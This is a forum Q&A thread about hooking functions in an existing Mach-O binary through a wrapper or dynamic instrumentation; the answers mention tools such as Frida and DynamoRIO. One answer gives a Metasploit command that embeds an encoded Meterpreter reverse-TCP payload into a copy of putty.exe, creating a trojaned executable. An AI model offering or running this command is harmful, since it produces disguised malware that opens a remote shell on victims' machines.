(This question is related to How do I add functionality to an existing binary executable?).

I too would like to add functionality to an existing application, but I do not want to modify the original binary.

I imagine that, for some "well-behaved" compiled code, it ought to be possible to create a "wrapper" program that:

  1. maps the original binary's segments into its own memory space; and
  2. places its own redefined functions at the relevant addresses.

For example, suppose that loading the original binary would place void origfunction(int, int) at location 0x1234; my thought is that loading the wrapper might cause that function's machine code (from the original binary) to be loaded at 0x5678 with void newfunction(int, int) loaded at 0x1234 in its place. newfunction could then make a call to origfunction before/after performing its modifications.

Is this approach feasible? If not, why not?

If it is feasible, are there any tools that can assist in automating the generation of such a wrapper program? Generic answers would be most useful for future readers, but the original binary that I am working with right now is a fairly typical OS X one (Mach-O format, compiled from Objective-C).

2 Answers 2


Dynamic instrumentation tools like Frida or DynomoRIO are probably your best bet. Traditional code injection approaches like mach_inject on os x or detours on windows are things you could look into as well.

  • I suppose mentioning pin (which does not seem to be available anymore on MacOSX) and DynomoRIO, one could also add cycript to that list. It works remarkably well, though seems mostly undocumented.
    – ikaerom
    Jan 1, 2017 at 14:02

Some of the tools i know of:

  1. Backdoor Factory: https://github.com/secretsquirrel/the-backdoor-factory

  2. Use Metasploit msfencode:

    msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe

Backdoor Factory support a varity of binaries such as ELF, Mach-O, PE.

  • Unless I've misunderstood, both those solutions appear to statically modify the underlying binary (which is something that I do not want to do). I am looking for tools through which one can create an executable that will dynamically load the original binary yet intercept its function calls. Or have I missed something?
    – eggyal
    Jan 15, 2015 at 11:52
  • @eggyal: You are correct. I misunderstood the question, sorry. Jan 19, 2015 at 6:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.